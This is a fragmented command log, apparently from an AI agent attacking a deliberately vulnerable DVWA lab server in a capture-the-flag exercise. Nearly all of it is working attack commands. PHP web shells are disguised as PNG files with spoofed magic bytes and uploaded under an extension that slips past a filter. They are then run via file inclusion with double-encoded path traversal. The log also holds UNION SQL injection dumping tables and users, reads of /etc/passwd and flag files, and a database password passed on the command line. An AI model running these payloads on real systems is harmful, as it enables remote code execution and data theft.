SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

Broader grep - case insensitive, search all files

OUTPUT=\$(curl -s -b "security=custom;PHPSESSID=\$SID" \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=\${SHELL_PATH}&cmd=grep%20-ri%20%22FLAG%7B%22%20%2Fvar%2Fwww%2F%202%3E%2Fdev%2Fnull%20%7C%20head%20-20")

echo "\$OUTPUT" | strings | grep -v "Warning\\|Deprecated\\|Cannot\\|header\\|dvwa\\|inc.php" | head -20

2026-03-06 15:55:32,438 [INFO] 127.0.0.1 - - [06/Mar/2026 15:55:32] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:58:01,257 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

The cmd output is getting mixed with HTML. Let me write output to a file and read it via LFI
curl -s -b "security=custom;PHPSESSID=\$SID" \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=\${SHELL_PATH}&cmd=grep%20-ri%20%22FLAG%7B%22%20%2Fvar%2Fwww%2F%202%3E%2Fdev%2Fnull%20%3E%20%2Ftmp%2Fresult.txt%20%3B%20echo%20DONE"

Read the output file

curl -s -b "security=custom;PHPSESSID=\$SID" \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/tmp/result.txt" \

| strings | grep "FLAG\\|flag{" | head -10

2026-03-06 15:58:01,432 [INFO] 127.0.0.1 - - [06/Mar/2026 15:58:01] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:58:10,772 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

grep result was empty - FLAG{} not in files.

The flag must be in the DB. Let me check MySQL directly via RCE

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=mysql%20-u%20dvwa%20-pp%40ssw0rd%20-h%20mysql-dvwa%20dvwa%20-e%20%22SHOW%20TABLES%3B%22%20%3E%2Fdev%2Fnull%20%3E%20%2Ftmp%2Fdb.txt%20%3B%20echo%20OK"
```

sleep 1

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/tmp/db.txt" \
```

```
| strings | grep -v
```

```
"Warning|Cannot|head|html|css|meta|body|div|script|link|ul>|li>|title|container|menu|footer|<" | head -20
```

```
2026-03-06 15:58:11,938 [INFO] 127.0.0.1 - - [06/Mar/2026 15:58:11] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 16:00:57,198 [INFO] Executing command:
```

```
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
SHELL_PATH="/var/www/html/hackable/uploads/custom_${SID}/img_a27aa77ee4.pht"
```

The /tmp/db.txt is empty (the include shows empty main_body area)

Let me write a better PHP shell that outputs to a file with a PHP-readable marker

```
python3 -c "
```

```
payload = b'\x00PNG\r\n\x1a\n' + b'<?php
```

```
\$cmd = \$_GET["c"] ?? "id";
```

```
\$out = shell_exec(\$cmd . " 2>&1");
```

```
file_put_contents("/tmp/out.txt", \$out);
```

```
echo "###" . \$out . "###";
```

```
?>"
```

```
open('/tmp/shell2.pht','wb').write(payload)
```

```
"
```

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
-F "uploaded=@/tmp/shell2.pht;type=image/png;filename=sh2.pht" \
```

```
-F "Upload=Upload" \
```

```
"http://100.113.75.28:8081/vulnerabilities/upload/" | grep "Uploaded|Reject"
```

```
2026-03-06 16:00:57,264 [INFO] 127.0.0.1 - - [06/Mar/2026 16:00:57] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 16:01:08,281 [INFO] Executing command:
```

```
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
SHELL2="/var/www/html/hackable/uploads/custom_${SID}/img_554d47a5fb.pht"
```

Test the new shell

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL2}&c=id" \
```

```
| grep -oE "###.*###"
```

2026-03-06 16:01:08,347 [INFO] 127.0.0.1 - - [06/Mar/2026 16:01:08] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:01:11,927 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL2="/var/www/html/hackable/uploads/custom_\${SID}/img_554d47a5fb.pht"

```
curl -s -b "security=custom;PHPSESSID=$SID" \
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL2}&c=id" \
  | strings | grep "###\uid=" | head -5
```

2026-03-06 16:01:11,993 [INFO] 127.0.0.1 - - [06/Mar/2026 16:01:11] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:01:17,375 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL2="/var/www/html/hackable/uploads/custom_\${SID}/img_554d47a5fb.pht"

```
exec2() {
  CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$1'))")
  curl -s -b "security=custom;PHPSESSID=$SID" \
    "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL2}&c=${CMD}" \
    | grep -oP "(?<=###).*(?=###)" | head -5
}
```

Search for FLAG{ in entire filesystem

```
exec2 "grep -ri 'FLAG{' /var/www/ /tmp/ /home/ /root/ 2>/dev/null | head -10"
```

2026-03-06 16:01:17,663 [INFO] 127.0.0.1 - - [06/Mar/2026 16:01:17] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:01:29,261 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL2="/var/www/html/hackable/uploads/custom_\${SID}/img_554d47a5fb.pht"

Direct URL-encoded grep command

curl -s -b "security=custom;PHPSESSID=\$SID" \

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL2}&c=grep%20-ri%20FLAG%7B%20%2Fvar%2Fwww%2F%20%3E%2Fdev%2Fnull%20%7C%20head%20-10" \
  | grep -oP "(?<=###).*(?=###)"
```

2026-03-06 16:01:29,398 [INFO] 127.0.0.1 - - [06/Mar/2026 16:01:29] "POST /api/command HTTP/1.1" 200 -

Started hanging. new prompt.

2026-03-06 16:08:20,145 [INFO] Executing command: curl -s

```
"http://100.113.75.28:8081/hackable/uploads/custom_4ef829abe6ac7ed0f829d9efa24260d0/
img_554d47a5fb.pht?cmd=id"
```

2026-03-06 16:08:20,215 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:20] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:08:24,006 [INFO] Executing command: curl -s
"http://100.113.75.28:8081/hackable/uploads/custom_4ef829abe6ac7ed0f829d9efa24260d0/
img_554d47a5fb.pht?c=id"
2026-03-06 16:08:24,181 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:24] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:30,454 [INFO] Executing command: # Step 1: Get login page and extract
CSRF token
curl -s -c /tmp/dvwa2.txt http://100.113.75.28:8081/login.php > /tmp/lp.html
TOKEN=\$(grep -o 'user_token[^>]*value="[^\"]*" /tmp/lp.html | grep -o '"[^"]*\$' | tr -d '"')
echo "Token: \$TOKEN"
2026-03-06 16:08:30,580 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:30] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:32,668 [INFO] Executing command: grep "user_token" /tmp/lp.html
2026-03-06 16:08:32,698 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:32] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:35,711 [INFO] Executing command: # Login with token
curl -s -c /tmp/dvwa2.txt -b /tmp/dvwa2.txt \
-d
"username=admin&password=password&Login=Login&user_token=e082b0ee9a936cd28ea
be258b73c70ff" \
-D - http://100.113.75.28:8081/login.php | grep "Location"
2026-03-06 16:08:35,779 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:35] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:43,634 [INFO] Executing command: # First, test basic injection with
role=admin and debug=1
The query is: SELECT LEFT(user,1), LEFT(password,4), LEFT(first_name,1),
LEFT(last_name,1) FROM users WHERE user_id = '{input}'
With role=admin, WAF is bypassed. Inject UNION SELECT.

curl -s -b /tmp/dvwa2.txt \

"http://100.113.75.28:8081/vulnerabilities/sqli/?id=1'+UNION+SELECT+1,2,3,4--+&role=ad
min&debug=1&Submit=Submit" \
| grep -A5 "QUERY\|table\|FLAG\|flag\|###\|sql_table"
2026-03-06 16:08:43,808 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:43] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:48,637 [INFO] Executing command: # Enumerate all tables in current
database using information_schema
curl -s -b /tmp/dvwa2.txt \

"http://100.113.75.28:8081/vulnerabilities/sqli/?id=1'+UNION+SELECT+table_name,2,3,4+F
ROM+information_schema.tables+WHERE+table_schema=database()--+&role=admin&deb
ug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | head -20
2026-03-06 16:08:48,705 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:48] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:08:57,538 [INFO] Executing command: # The LEFT() is applied in the
SELECT — but since we're using UNION, our injected columns bypass LEFT()

Wait — the LEFT() wraps the column aliases, not raw values. Let me check the query structure again.
Query: SELECT LEFT(user,1) AS username, LEFT(password,4) AS pw, LEFT(first_name,1) AS first, LEFT(last_name,1) AS last FROM users WHERE user_id='...'
Our UNION injects: UNION SELECT table_name,2,3,4 -- the LEFT() wraps the alias, not our injected value
So table_name SHOULD show fully. The output "access_log" IS the full name.

Now check ALL databases to see if flag is in another DB
curl -s -b /tmp/dvwa2.txt \

```
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=0'+UNION+SELECT+schema_name,2,3,4+FROM+information_schema.schemata--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[234]$"
2026-03-06 16:08:57,610 [INFO] 127.0.0.1 - - [06/Mar/2026 16:08:57] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:09:02,513 [INFO] Executing command: # Check ALL tables across both schemas
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=0'+UNION+SELECT+CONCAT(table_schema,':',table_name),2,3,4+FROM+information_schema.tables+WHERE+table_schema+NOT+IN('information_schema')--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[234]$"
2026-03-06 16:09:02,685 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:02] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:09:06,088 [INFO] Executing command: # Check columns for all tables
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=0'+UNION+SELECT+CONCAT(table_name,':',column_name),2,3,4+FROM+information_schema.columns+WHERE+table_schema='dvwa'--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[234]$"
2026-03-06 16:09:06,160 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:06] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:09:10,496 [INFO] Executing command: # Check security_log for flag content
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=0'+UNION+SELECT+CONCAT(user_id,':',action),ip_address,timestamp,4+FROM+security_log--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[34]$" | head -20
2026-03-06 16:09:10,565 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:10] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:09:14,161 [INFO] Executing command: # Check access_log
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli?id=0'+UNION+SELECT+CONCAT(user_id,':',
action),2,3,4+FROM+access_log--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[234]$" | head -20
2026-03-06 16:09:14,247 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:14] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:09:19,054 [INFO] Executing command: # Check guestbook - comment field
may contain flag
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli?id=0'+UNION+SELECT+comment,name,2,3+
FROM+guestbook--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^[23]$" | head -20
2026-03-06 16:09:19,126 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:19] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:09:23,919 [INFO] Executing command: # Check users table - role column
and all users
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli?id=0'+UNION+SELECT+CONCAT(user,':',role
,':',account_enabled),password,first_name,last_name+FROM+users--+&role=admin&debug
=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | grep -v "^$" | head -30
2026-03-06 16:09:24,177 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:24] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:09:34,478 [INFO] Executing command: # Test LOAD_FILE privilege and try
to read common flag locations
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli?id=0'+UNION+SELECT+LOAD_FILE('/etc/pas
swd'),2,3,4--+&role=admin&debug=1&Submit=Submit" \
| grep -oP '(?<=<td>)[^<]+(?=</td>)' | head -5
2026-03-06 16:09:34,545 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:34] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:09:40,828 [INFO] Executing command: # Create a PHP webshell disguised
as image with .pht extension
cat > /tmp/shell.pht << 'EOF'
PNG
<?php echo "####" . shell_exec($_GET["c"]) . " 2>&1") . "####"; ?>
EOF
```

```
# Upload it
curl -s -b /tmp/dvwa2.txt \
-F "MAX_FILE_SIZE=5000000" \
-F "uploaded=@/tmp/shell.pht;type=image/png;filename=shell.pht" \
-F "Upload=Upload" \
"http://100.113.75.28:8081/vulnerabilities/upload/" | grep -i
"success\|error\|upload\|path\|hackable" | head -10
```

2026-03-06 16:09:40,896 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:40] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:09:47,101 [INFO] Executing command: # Check upload source to understand restrictions

```
curl -s -b /tmp/dvwa2.txt
```

```
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=upload&security=custom" \
| python3 -c "
```

```
import sys, re, html
```

```
c = sys.stdin.read()
```

```
c = re.sub('<[^>]+>', '', c)
```

```
c = html.unescape(c)
```

```
print(c)
```

```
" | grep -v "^$" | head -50
```

2026-03-06 16:09:47,173 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:47] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:09:52,342 [INFO] Executing command: # Get the rest of the upload source

```
curl -s -b /tmp/dvwa2.txt
```

```
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=upload&security=custom" \
| python3 -c "
```

```
import sys, re, html
```

```
c = sys.stdin.read()
```

```
c = re.sub('<[^>]+>', '', c)
```

```
c = html.unescape(c)
```

```
print(c)
```

```
" | grep -v "^$" | tail -80 | head -60
```

2026-03-06 16:09:52,460 [INFO] 127.0.0.1 - - [06/Mar/2026 16:09:52] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:10:10,868 [INFO] Executing command: # Create shell with correct magic bytes: \x00PNG at offset 0 (so substr(\$bytes,1,3) == "PNG")

```
python3 -c "
```

```
import os
```

```
# \x00PNG at start satisfies substr(\$bytes,1,3)=== 'PNG'
```

```
payload = b'\x00PNG\r\n\x1a\r\n'
```

```
payload += b'<?php echo "\####" . shell_exec(\$_GET["c"] . "\ 2>&1") . "\####"; ?>'
```

```
with open('/tmp/img_shell.pht', 'wb') as f:
```

```
    f.write(payload)
```

```
print('Created:', len(payload), 'bytes')
```

```
"
```

```
# Upload with image/png MIME type
```

```
RESP=$(curl -s -b /tmp/dvwa2.txt \
```

```
-F "MAX_FILE_SIZE=5000000" \
```

```
-F "uploaded=@/tmp/img_shell.pht;type=image/png;filename=img_shell.pht" \
```

```
-F "Upload=Upload" \
```

```
"http://100.113.75.28:8081/vulnerabilities/upload/")
```

```
echo "$RESP" | grep -i "success\|error\|reject\|upload\|path\|img_\|pht\|DEBUG"
```

2026-03-06 16:10:10,935 [INFO] 127.0.0.1 - - [06/Mar/2026 16:10:10] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:10:17,641 [INFO] Executing command:

SHELL_URL="http://100.113.75.28:8081/hackable/uploads/custom_d78aa372606dba9554c1133268edcc33/img_2b8e0aaa48.pht"

Test RCE

curl -s "\${SHELL_URL}?c=id"

2026-03-06 16:10:17,710 [INFO] 127.0.0.1 - - [06/Mar/2026 16:10:17] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:10:26,840 [INFO] Executing command: # Try .php5, .php7, .phtml — check what the original shell used (session note says .pht worked)

Maybe the issue is the \x00 byte interfering with Apache's handler detection

Try with a cleaner magic byte approach and .phtml extension (not blocked by regex)

Extension regex: /ph(ar|p|tml|p[1-9])/i

.phtml -> phtml -> ph+tml -> BLOCKED

.php5 -> php5 -> ph+p5... p[1-9] matches -> BLOCKED

.pht -> pht -> ph+t -> 't' not in (ar|p|tml|p[1-9]) -> ALLOWED

.phps -> phps -> ph+ps -> not matching -> ALLOWED?

The issue: .pht may need AddType in Apache config to execute as PHP

Let's try uploading a .php file disguised differently, or use .phar

python3 -c "

payload = b'\x00PNG\r\n\x1a\n'

payload += b'<?php echo \"###\" . shell_exec(\"\$_GET[\"c\"] . \" 2>&1\") . \"###\"; ?>'

with open('/tmp/img_shell.phar', 'wb') as f:

 f.write(payload)

print('phar created')

"

RESP=\$(curl -s -b /tmp/dvwa2.txt \

-F "MAX_FILE_SIZE=5000000" \

-F "uploaded=@/tmp/img_shell.phar;type=image/png;filename=img_shell.phar" \

-F "Upload=Upload" \

"http://100.113.75.28:8081/vulnerabilities/upload/")

echo "\$RESP" | grep -i "success|reject|path"

2026-03-06 16:10:26,914 [INFO] 127.0.0.1 - - [06/Mar/2026 16:10:26] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:10:42,034 [INFO] Executing command: # The previous session .pht DID work — the issue must be Apache config

Let me check if there's an .htaccess in the upload directory that might be making .pht executable

Also try accessing via the File Inclusion module to execute the uploaded file

SHELL_PATH="hackable/uploads/custom_d78aa372606dba9554c1133268edcc33/img_2b8e0aaa48.pht"

Try using File Inclusion to execute our uploaded PHP

```
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=../../${SHELL_PATH}&c=id"
```

```
2026-03-06 16:10:42,102 [INFO] 127.0.0.1 - - [06/Mar/2026 16:10:42] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 16:10:48,582 [INFO] Executing command: # Correct path: from /var/www/html/vulnerabilities/fi/ to /var/www/html/hackable/uploads/...
```

```
# Need: ../../hackable/uploads/custom_.../img_.pht
```

```
SHELL_FILE="img_2b8e0aaa48.pht"
```

```
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
```

```
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=../../hackable/uploads/${SESSION_DIR}/${SHELL_FILE}" \
```

```
| grep -i "###\|uid\|www-data\|error\|warning" | head -10
```

```
2026-03-06 16:10:48,651 [INFO] 127.0.0.1 - - [06/Mar/2026 16:10:48] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 16:11:12,378 [INFO] Executing command: curl -s -b /tmp/dvwa2.txt
```

```
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=fi&security=custom" \
```

```
| python3 -c "
```

```
import sys, re, html
```

```
c = sys.stdin.read()
```

```
c = re.sub('<[^>]+>', '', c)
```

```
c = html.unescape(c)
```

```
print(c)
```

```
" | grep -v "^$" | grep -A 50 "php"
```

```
2026-03-06 16:11:12,506 [INFO] 127.0.0.1 - - [06/Mar/2026 16:11:12] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 16:11:19,635 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
```

```
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
```

```
# Use %2F instead of / in ../ to bypass the str_replace
```

```
# Path needed: ../../hackable/uploads/SESSION_DIR/SHELL_FILE
```

```
# Encoded: ../../hackable%2Fuploads%2FSESSION_DIR%2FSHELL_FILE
```

```
ENCODED_PATH="../../hackable%2Fuploads%2F${SESSION_DIR}%2F${SHELL_FILE}"
```

```
curl -s -b /tmp/dvwa2.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
```

```
| grep -i "###\|uid\|www\|root\|error" | head -10
```

```
2026-03-06 16:11:19,673 [INFO] 127.0.0.1 - - [06/Mar/2026 16:11:19] "POST /api/command HTTP/1.1" 200 -
```



```

2026-03-06 16:11:29,073 [INFO] Executing command: # The include path shows
"hackable/uploads/..." meaning the ../%2F was decoded but then the path
# is still relative. The include() in index.php must be doing: include($file) where $file is
# resolved relative to the fi/ directory.
#
# So from /var/www/html/vulnerabilities/fi/, going to hackable/uploads means:
# We need ../%2F../%2F to resolve to /var/www/html/ first
# Let's trace: after urldecode("../%2F../%2Fhackable%2F...") = "../../hackable/..."
# Then include("../../hackable/uploads/...") from /var/www/html/vulnerabilities/fi/
# = /var/www/html/hackable/uploads/... <- This SHOULD work!
#
# But the error says it's including "hackable/uploads/..." (without the ../)
# This means str_replace("../", "") IS stripping it AFTER urldecode somehow
#
# Wait - re-read: str_replace first, THEN urldecode
# So "../%2F../%2F" -> str_replace("../", "") -> "../%2F../%2F" (no change, no literal ../)
# -> urldecode -> "../../" -> NOW include gets "../../hackable/..."
# But error shows "hackable/uploads" - the ../ IS being stripped somewhere
#
# Maybe index.php itself does another filter? Let me try double encoding: %252F

```

```

SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252F${SHELL_FILE}"

```

```

curl -s -b /tmp/dvwa2.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
| grep -i "####|uid|www|root|error|include|open" | head -5
2026-03-06 16:11:29,140 [INFO] 127.0.0.1 - - [06/Mar/2026 16:11:29] "POST /api/command
HTTP/1.1" 200 -

```

```

2026-03-06 16:11:51,128 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252F${SHELL_FILE}"

```

```

curl -s -b /tmp/dvwa2.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" 2>&1 | strings |
grep -i "####|uid|www|root|error|include|open|fail|Warning" | head -10
2026-03-06 16:11:51,197 [INFO] 127.0.0.1 - - [06/Mar/2026 16:11:51] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:11:56,718 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252F${SHELL_FILE}"

```

```

# Pass 'c' parameter alongside page

```

```
curl -s -b /tmp/dvwa2.txt \  
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}&c=id" 2>&1 \  
  | strings | grep "####" | head -5  
2026-03-06 16:11:56,837 [INFO] 127.0.0.1 - - [06/Mar/2026 16:11:56] "POST /api/command  
HTTP/1.1" 200 -  
2026-03-06 16:12:04,137 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"  
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"  
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252  
F${SHELL_FILE}"  
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

Search for flag files in the web root and common locations

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=find+/var/www/html+-name+*flag*"+2>/dev/null" \  
  | strings | grep "####" | head -5  
2026-03-06 16:12:04,666 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:04] "POST /api/command  
HTTP/1.1" 200 -  
2026-03-06 16:12:12,271 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"  
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"  
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252  
F${SHELL_FILE}"  
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=ls+-la+/var/www/html/hackable/flags/" \  
  | strings | grep "####" | head -5  
2026-03-06 16:12:12,491 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:12] "POST /api/command  
HTTP/1.1" 200 -  
2026-03-06 16:12:25,972 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"  
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"  
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252  
F${SHELL_FILE}"  
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

Try ls -la -a to show hidden files too

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=ls+-la+-a+/var/www/html/hackable/flags/" \  
  | strings | grep "####"  
2026-03-06 16:12:26,041 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:26] "POST /api/command  
HTTP/1.1" 200 -  
2026-03-06 16:12:43,107 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"  
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"  
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252  
F${SHELL_FILE}"  
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

Check what's there - it may be a directory not a file

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=file+/var/www/html/hackable/flags" \  
  | strings | grep "####"
```

Also check if it's the flags directory itself that has content

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=find+/var/www/html/hackable/flags+-type+f" \
| strings | grep "###"
2026-03-06 16:12:43,229 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:43] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:12:49,039 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=cat+/var/www/html/hackable/flags/fi.php" \
| strings | grep "###"
2026-03-06 16:12:49,129 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:49] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:12:52,873 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

Check file permissions

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=ls+-la+/var/www/html/hackable/flags/fi.php" \
| strings | grep "###"
2026-03-06 16:12:52,941 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:52] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:12:57,992 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

www-data owns it - cat should work. Try different read commands

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=more+/var/www/html/hackable/flags/fi.php" \
| strings | grep "###"
2026-03-06 16:12:58,186 [INFO] 127.0.0.1 - - [06/Mar/2026 16:12:58] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:13:05,070 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

Try using PHP to read it directly (avoid shell restrictions)

```
curl -s -b /tmp/dvwa2.txt
"${BASE}&c=php+-r+'echo+file_get_contents(\"/var/www/html/hackable/flags/fi.php\");'" \
